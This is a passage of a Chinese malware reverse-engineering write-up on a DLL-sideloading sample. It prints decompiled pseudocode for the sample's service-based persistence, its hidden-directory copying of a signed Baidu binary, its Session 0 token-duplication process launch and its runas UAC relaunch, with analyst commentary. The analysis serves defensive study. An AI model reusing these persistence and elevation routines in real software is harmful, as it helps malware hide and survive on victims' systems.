[esp+E8h] [ebp-12Ch] BYREF int v36; // [esp+ECh] [ebp-128h] CHAR HijackExeName[264]; // [esp+F0h] [ebp-124h] BYREF char .exe[24]; // [esp+1F8h] [ebp-1Ch] BYREF int n6; // [esp+210h] [ebp-4h] if ( is_service_existed() ) { ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)ServiceMain;// 如果服务存在则直接开始派发创建白进程 ServiceStartTable.lpServiceName = ServiceName;// "Windows Eventn" *(_DWORD *)v35 = 0; v36 = 0; if ( !StartServiceCtrlDispatcherA(&ServiceStartTable) ) { hSCManager = OpenSCManagerA(0, 0, 0x20000u); hSCObject_1 = hSCManager; if ( hSCManager ) { hService = (char *)OpenServiceA( hSCManager, ServiceName, // "Windows Eventn" 0x10u); hService_1 = hService; if ( hService ) { started = StartServiceA(hService, 0, 0); hSCObject = hService_1; if ( started ) { CloseServiceHandle(hSCObject); CloseServiceHandle(hSCObject_1); ExitProcess(0); } CloseServiceHandle(hSCObject); } CloseServiceHandle(hSCObject_1); } } } else { v7 = sub_6E5778FD(lpThreadParameter, v20); n6 = 6; sub_6E577FBA(lpThreadParameter, v20); sub_6E57B6B1(asc_6E5AF24C); // "\\" v8 = (char *)sub_6E57803A(); sub_6E57B6B1(v8); sub_6E57B6B1(asc_6E5B0AE4); // "~" sub_6E57B769(v7); std::string::_Tidy(v22, 1, 0); LOBYTE(n6) = 7; std::string::_Tidy(v21, 1, 0); LOBYTE(n6) = 8; std::string::_Tidy(v23, 1, 0); LOBYTE(n6) = 9; std::string::_Tidy(v25, 1, 0); LOBYTE(n6) = 10; std::string::_Tidy(v24, 1, 0); HidenPath_1 = (const CHAR *)lpPathName; hSCObject = 0; if ( n0x10 >= 0x10 ) HidenPath_1 = lpPathName[0]; CreateDirectoryA(HidenPath_1, (LPSECURITY_ATTRIBUTES)hSCObject); HidenPath = (const CHAR *)lpPathName; hSCObject = (char *)7; if ( n0x10 >= 0x10 ) HidenPath = lpPathName[0]; SetFileAttributesA(HidenPath, (DWORD)hSCObject);// READONLY|HIDDEN|SYSTEM strcpy(.exe, ".exe"); sub_6E578099(v35); sub_6E57B6F7(v11); LOBYTE(n6) = 11; sub_6E57B6B1(v35); LOBYTE(n6) = 12; sub_6E57B6B1(.exe); LOBYTE(n6) = 14; std::string::_Tidy(v24, 1, 0); LOBYTE(n6) = 15; std::string::_Tidy(v25, 1, 0); sub_6E577F2F(lpThreadParameter, v20); LOBYTE(n6) = 16; v32 = 0; v33 = 0; v32 = (void *)sub_6E57B4E2(0, 0); LOBYTE(n6) = 19; GetModuleFileNameA(0, HijackExeName, 0x104u); TargetPath_1 = (const CHAR *)TargetPathWithExe; hSCObject = 0; if ( n0x10_1 >= 0x10 ) TargetPath_1 = TargetPathWithExe[0]; CopyFileA(HijackExeName, TargetPath_1, (BOOL)hSCObject);// 将当前目录下的白程序复制到创建的隐藏文件夹 // ExistingFileName = "C:\Users\Administrator\Desktop\Test\2024_12_29\D82yB~d\BaiduNetdiskForBusiness.exe" // NewFileName = "C:\Users\Administrator\Videos\9F1E2B34~d\Hmzdv.exe" // FailIfExists = FALSE Sleep(0x64u); v26 = &v16; std::string::string(&v16, (int)v27); LOBYTE(n6) = 19; sub_6E577AD4(v16, v17); v26 = &v16; std::string::string(&v16, (int)lpPathName); LOBYTE(n6) = 19; sub_6E577E26(v16, v17); HijackExeName_2 = (const CHAR *)TargetPathWithExe; if ( n0x10_1 >= 0x10 ) HijackExeName_2 = TargetPathWithExe[0]; SetServiceForHijackFile(HijackExeName_2, 0); Sleep(0x3E8u); sub_6E5770A4(); LOBYTE(n6) = 22; v14 = *(void ***)v32; *(_DWORD *)v32 = v32; *((_DWORD *)v32 + 1) = v32; v33 = 0; if ( v14 != v32 ) { do { v15 = (void **)*v14; std::string::_Tidy(v14 + 2, 1, 0); j__free(v14); v14 = v15; } while ( v15 != v32 ); } LOBYTE(n6) = 16; j__free(v32); LOBYTE(n6) = 15; std::string::_Tidy(v27, 1, 0); LOBYTE(n6) = 10; std::string::_Tidy((void **)TargetPathWithExe, 1, 0); n6 = -1; std::string::_Tidy((void **)lpPathName, 1, 0); } sub_6E576A22(lpThreadParameter, v20); }
可以看见整个函数几乎就是以is_service_existed的返回结果来运行的,其中的字符串操作函数我没有仔细分析,但根据动态调试的结果我猜测与生成随机字符串有关;
而整个函数则可以分为两部分:
is_service_existed为FALSE时的操作
is_service_existed为TRUE时的操作
当is_service_existed返回FALSE则代表当前白加黑样本是初次运行,其执行的逻辑则在整体上更简单些,值得关注的点就在于文件操作函数与目录操作函数,伪代码中的相关API已经标上注释,基本行为可以被概括为:
CreateDirectoryA设置参数,创建隐藏目录
CopyFileA复制当前运行进程目录下的所有文件
注册隐藏目录下的白程序BaiduNetdiskForBusiness为自动启动的系统服务
typedef struct _SERVICE_TABLE_ENTRYA { LPSTR lpServiceName; LPSERVICE_MAIN_FUNCTIONA lpServiceProc; } SERVICE_TABLE_ENTRYA, *LPSERVICE_TABLE_ENTRYA;
而当is_service_existed返回结果为TRUE时,则代表样本已经被执行过,可以直接略过初次运行的权限维持操作,直接派发一个已经被注册的服务实例;
windows中对于系统服务程序的入口点有特殊规定,也即服务入口必须通过一个名为SERVICE_TABLE_ENTRYA的结构体指定服务的入口点,随后通过StartServiceCtrlDispatcherA派发,因而当is_service_existed为TRUE时我们需要关注的就是SERVICE_TABLE_ENTRYA所指定的实例,也即伪代码中的ServiceMain。
SERVICE_STATUS_HANDLE __stdcall ServiceMain(int a1, int a2) { SERVICE_STATUS_HANDLE n3; // eax HANDLE Thread; // esi HANDLE Process; // eax _OSVERSIONINFOA VersionInformation; // [esp+10h] [ebp-2B0h] BYREF CHAR Filename[264]; // [esp+A8h] [ebp-218h] BYREF CHAR ApplicationName[268]; // [esp+1B0h] [ebp-110h] BYREF n3 = RegisterServiceCtrlHandlerA( ServiceName, // "Windows Eventn" HandlerProc); n3_0 = n3; if ( n3 ) { sub_6E577322(1); sub_6E577322(0); VersionInformation.dwOSVersionInfoSize = 148; GetVersionExA(&VersionInformation); if ( VersionInformation.dwPlatformId == 2 ) { if ( VersionInformation.dwMajorVersion >= 6 )// 当前系统高于Windows Server2003/Windowsx XP { sub_6E57769B(); GetModuleFileNameA(0, Filename, 0x104u); wsprintfA(ApplicationName, "%s", Filename); Process = SESSION_CreateProcess(ApplicationName, 0); CloseHandle(Process); } else { do { Sleep(0x64u); Thread = CreateThread( 0, 0, (LPTHREAD_START_ROUTINE)StartAddress, ServiceName, // "Windows Eventn" 0, 0); WaitForSingleObject(Thread, 0xFFFFFFFF); CloseHandle(Thread); } while ( n3 != 3 && n3 != 1 ); } } do { Sleep(0x3E8u); sub_6E5775CA(); Sleep(0x1F4u); n3 = n3; } while ( n3 != 3 && n3 != 1 && !dword_6E5BC430 ); } return n3; }
ServiceMain只做了一个操作,也即根据当前系统版本号信息来决定是通过突破SESSION 0会话来创建进程,还是直接通过应用程序的API创建线程实例在当前白进程内映射空间
之所以如此判断是由于在早期windows版本中(也即dwMajorVersion < 6),服务与应用程序处于相同会话运行,但到了Windows Vista及之后,服务与应用程序的会话便被隔离开了,微软的官方文档对dwMajorVersion的版本号意义做了相应说明。
Operating system Version number dwMajorVersion dwMinorVersion Other Windows 10 10.0* 10 0 OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION Windows Server 2016 10.0* 10 0 OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION Windows 8.1 6.3* 6 3 OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION Windows Server 2012 R2 6.3* 6 3 OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION Windows 8 6.2 6 2 OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION Windows Server 2012 6.2 6 2 OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION Windows 7 6.1 6 1 OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION Windows Server 2008 R2 6.1 6 1 OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION Windows Server 2008 6.0 6 0 OSVERSIONINFOEX.wProductType != VER_NT_WORKSTATION Windows Vista 6.0 6 0 OSVERSIONINFOEX.wProductType == VER_NT_WORKSTATION Windows Server 2003 R2 5.2 5 2 GetSystemMetrics(SM_SERVERR2) != 0 Windows Server 2003 5.2 5 2 GetSystemMetrics(SM_SERVERR2) == 0 Windows XP 5.1 5 1 Not applicable Windows 2000 5.0 5 0 Not applicable
HANDLE __fastcall SESSION_CreateProcess(LPCSTR lpApplicationName, CHAR *lpCommandLine) { HANDLE hProcess; // ebx HMODULE huserenv.dll; // edi HANDLE CurrentProcess; // eax FARPROC ProcAddress; // [esp+4h] [ebp-A8h] struct _STARTUPINFOA StartupInfo; // [esp+Ch] [ebp-A0h] BYREF struct _PROCESS_INFORMATION ProcessInformation; // [esp+54h] [ebp-58h] BYREF LPVOID lpEnvironment; // [esp+64h] [ebp-48h] BYREF HANDLE TokenHandle; // [esp+68h] [ebp-44h] BYREF HANDLE phNewToken; // [esp+6Ch] [ebp-40h] BYREF DWORD TokenInformation; // [esp+70h] [ebp-3Ch] BYREF __m128i si128; // [esp+74h] [ebp-38h] BYREF CHAR ProcName[16]; // [esp+84h] [ebp-28h] BYREF char tBlock[8]; // [esp+94h] [ebp-18h] BYREF CHAR userenv.dll[12]; // [esp+9Ch] [ebp-10h] BYREF hProcess = 0; strcpy(tBlock, "tBlock"); *(__m128i *)ProcName = _mm_load_si128((const __m128i *)&xmmword_6E5B0FC0); strcpy(userenv.dll, "userenv.dll"); huserenv.dll = LoadLibraryA(userenv.dll); ProcAddress = GetProcAddress(huserenv.dll, ProcName); lpEnvironment = 0; TokenInformation = 0; TokenHandle = 0; phNewToken = 0; memset(&StartupInfo, 0, sizeof(StartupInfo)); memset(&ProcessInformation, 0, sizeof(ProcessInformation)); si128 = _mm_load_si128((const __m128i *)&xmmword_6E5B0DF0); StartupInfo.cb = 68; StartupInfo.lpDesktop = (LPSTR)&si128; CurrentProcess = GetCurrentProcess(); OpenProcessToken(CurrentProcess, 0xF01FFu, &TokenHandle); DuplicateTokenEx(TokenHandle, 0x2000000u, 0, SecurityIdentification, TokenPrimary, &phNewToken); if ( WTSGetActiveConsoleSessionId ) { TokenInformation = WTSGetActiveConsoleSessionId(); SetTokenInformation(phNewToken, TokenSessionId, &TokenInformation, 4u); ((void (__stdcall *)(LPVOID *, HANDLE, _DWORD))ProcAddress)(&lpEnvironment, phNewToken, 0); CreateProcessAsUserA( phNewToken, lpApplicationName, lpCommandLine, 0, 0, 0, 0x430u, lpEnvironment, 0, &StartupInfo, &ProcessInformation); hProcess = ProcessInformation.hProcess; CloseHandle(phNewToken); CloseHandle(TokenHandle); } if ( huserenv.dll ) FreeLibrary(huserenv.dll); return hProcess; }
SESSION_CreateProcess是在dwMajorVersion >= 6条件成立后进入的函数,我之所以如此命名是因为如官方文档说明的那样,高版本的windows为了保证系统服务与应用进程隔离的安全性,常规的CreateProcess函数已经被替换,根据分析可以得出SESSION_CreateProcess这一自定义函数,就是对从获得令牌到最终调用CreateProcessAsUserA一系列行为的封装
CreateProcessAsUserA 函数(processthreadsapi.h)
创建一个新进程及其主线程。 新进程在由指定令牌表示的用户的安全上下文中运行。
通常,调用 CreateProcessAsUser 函数的进程必须具有 SE_INCREASE_QUOTA_NAME 权限,并且如果令牌不可分配,可能需要 SE_ASSIGNPRIMARYTOKEN_NAME 特权。
如果此函数失败并 ERROR_PRIVILEGE_NOT_HELD (1314),请改用 CreateProcessWithLogonW 函数。
CreateProcessWithLogonW 不需要特殊权限,但必须允许指定的用户帐户以交互方式登录。 通常,最好使用 CreateProcessWithLogonW 创建具有备用凭据的进程。
动态调试显示CreateProcessAsUserA所启动的二进制文件,就是被随机命名后的白程序BaiduNetdiskForBusiness
int sub_6E5768B1() { int v1; // [esp+0h] [ebp-8Ch] int v2; // [esp+4h] [ebp-88h] void **v3[3]; // [esp+8h] [ebp-84h] BYREF void *v4[25]; // [esp+14h] [ebp-78h] BYREF int v5; // [esp+88h] [ebp-4h] memset(v3, 0, sizeof(v3)); sub_6E5819A7(v3); v5 = 0; sub_6E581A43(v3, v4); LOBYTE(v5) = 1; if ( !v4[4] ) ExitProcess(0); if ( IsUserAnAdmin() ) // 如果当前程序管理员权限运行则通过注册服务维权 RegServiceAndRun(v1, v2); run_as_admin(); LOBYTE(v5) = 0; sub_6E57697D(v4); v5 = -1; return sub_6E57489E(v3); }
最后xerf到sub_6E5768B1()处,想要注册系统服务必须拥有管理员权限,如果不具有全局则会进入run_as_admin之中
BOOL run_as_admin() { BOOL IsMember_1; // eax BOOL result; // eax SHELLEXECUTEINFOA pExecInfo; // [esp+4h] [ebp-154h] BYREF PSID pSid; // [esp+40h] [ebp-118h] BYREF BOOL IsMember; // [esp+44h] [ebp-114h] BYREF _SID_IDENTIFIER_AUTHORITY pIdentifierAuthority; // [esp+48h] [ebp-110h] BYREF CHAR Filename[260]; // [esp+50h] [ebp-108h] BYREF *(_WORD *)&pIdentifierAuthority.Value[4] = 1280; *(_DWORD *)pIdentifierAuthority.Value = 0; IsMember_1 = AllocateAndInitializeSid(&pIdentifierAuthority, 2u, 0x20u, 0x220u, 0, 0, 0, 0, 0, 0, &pSid); IsMember = IsMember_1; if ( IsMember_1 ) { CheckTokenMembership(0, pSid, &IsMember); FreeSid(pSid); IsMember_1 = IsMember; } if ( IsMember_1 ) return 0; memset(Filename, 0, sizeof(Filename)); GetModuleFileNameA(0, Filename, 0x104u); pExecInfo.cbSize = 60; memset(&pExecInfo.fMask, 0, 0x38u); pExecInfo.lpVerb = aRunas; // "runas" runas:以管理员身份启动应用程序。用户帐户控制 (UAC) 将提示用户同意以提升权限运行应用程序或输入用于运行该应用程序的管理员帐户的凭据。 pExecInfo.nShow = 5; pExecInfo.lpFile = Filename; result = ShellExecuteExA(&pExecInfo); if ( result ) ExitProcess(0); // 重新以管理员权限运行shellcode并退出当前进程 return result; }
相应功能已被标注,至此shellcode的存活机制也被分析完毕。
总的来说样本中规中矩,该做的一些OPSEC也做了,最后剩下的部分就是远控功能的网络行为分析,感兴趣的可以自己继续探索,或者等哪天我闲着没事了发个补全篇,请在安全环境下分析此样本。
https://www.cnblogs.com/sakura521/p/15256986.html
https://xz.aliyun.com/t/15076?time__1311=GqjxuiqmwtDsD7CG7DyGiD8DRiG3A%3D3x
更多【软件逆向- 恶意代码分析:记一次对过核晶白加黑样本的逆向实战】相关视频教程:www.yxfzedu.com